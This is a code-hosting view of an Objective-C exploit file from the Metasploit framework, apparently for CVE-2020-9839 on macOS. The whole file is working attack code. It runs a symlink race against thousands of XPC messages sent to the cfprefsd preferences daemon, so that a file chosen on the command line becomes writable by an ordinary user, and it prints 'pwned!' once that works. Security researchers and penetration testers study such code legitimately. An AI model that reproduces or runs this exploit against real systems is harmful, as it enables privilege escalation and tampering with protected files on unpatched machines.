rapid7/metasploit-framework

View on GitHub
external/source/exploits/CVE-2020-9839/exploit.m

Summary

Maintainability
Test Coverage
#include <sandbox.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pwd.h>
#include <string.h>
#include <unistd.h>
#include <mach/mach.h>
#include <xpc/xpc.h>
#include <pthread.h>

char *TARGET;
char *WRITABLE;
char *USER;

const int COUNT = 10000;
int status = 0;
bool pwned = false;

void *race(void *arg) {
    while(!pwned) {
        symlink(TARGET, "!");
        unlink("!/a.plist");
        rmdir("!");
        unlink("!");
    }
    return NULL;
}

void exploit() {
    char *serviceName = "com.apple.cfprefsd.daemon";
    status = 0;

    xpc_connection_t conn;
    xpc_object_t msg;

    conn = xpc_connection_create_mach_service(serviceName, NULL, 0);
    if (conn == NULL) {
        perror("xpc_connection_create_mach_service");
        return;
    }

    xpc_connection_set_event_handler(conn, ^(xpc_object_t obj) {
        status++;
    });

    xpc_connection_resume(conn);

    msg = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_int64(msg, "CFPreferencesOperation", 1);
    xpc_dictionary_set_string(msg, "CFPreferencesUser", USER);
    char writable_subpath[0x1000];
    sprintf(writable_subpath, "%s%s", WRITABLE, "/!/a.plist");
    xpc_dictionary_set_string(msg, "CFPreferencesDomain", writable_subpath);
    xpc_dictionary_set_bool(msg, "CFPreferencesUseCorrectOwner", true);
    xpc_dictionary_set_bool(msg, "CFPreferencesAvoidCache", true);
    xpc_dictionary_set_string(msg, "Key", "key");
    xpc_dictionary_set_string(msg, "Value", "value");

    for(int i = 0; i < COUNT; i++) {
        xpc_connection_send_message(conn, msg);
    }

    while(status < COUNT) {
        usleep(100000);
    }
}

void *pwn(void *arg) {
    while(1) {
        int testaccess = access(TARGET, W_OK);
        if(!testaccess) {
            printf("pwned! %s is now writable!\n", TARGET);
            pwned = true;
            break;
        } else {
            perror("access");
        }
        usleep(1000000);
    }

    return NULL;
}

static void
connection_handler(xpc_connection_t peer)
{
    xpc_connection_set_event_handler(peer, ^(xpc_object_t event) {
        printf("Message received: %p\n", event);
    });

    xpc_connection_resume(peer);
}

void make_writable(char * target) {
    struct passwd *pw = getpwuid(getuid());
    if(!pw) {
        perror("getpwuid");
        exit(1);
    }

    WRITABLE = pw->pw_dir;
    USER = pw->pw_name;
    TARGET = target;

    setvbuf(stdout, 0, 2, 0);
    chdir(WRITABLE);

    pthread_t thread[2];
    pthread_create(&thread[0], NULL, race, NULL);
    pthread_create(&thread[1], NULL, pwn, NULL);
    while(!pwned) {
        printf("Trying %d calls...\n", COUNT);
        exploit();
    }
    unlink("!/a.plist");
    rmdir("!");
    unlink("!");
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s /file/to/make/writable\n", argv[0]);
        return -1;
    }
    make_writable(argv[1]);
    return 0;
}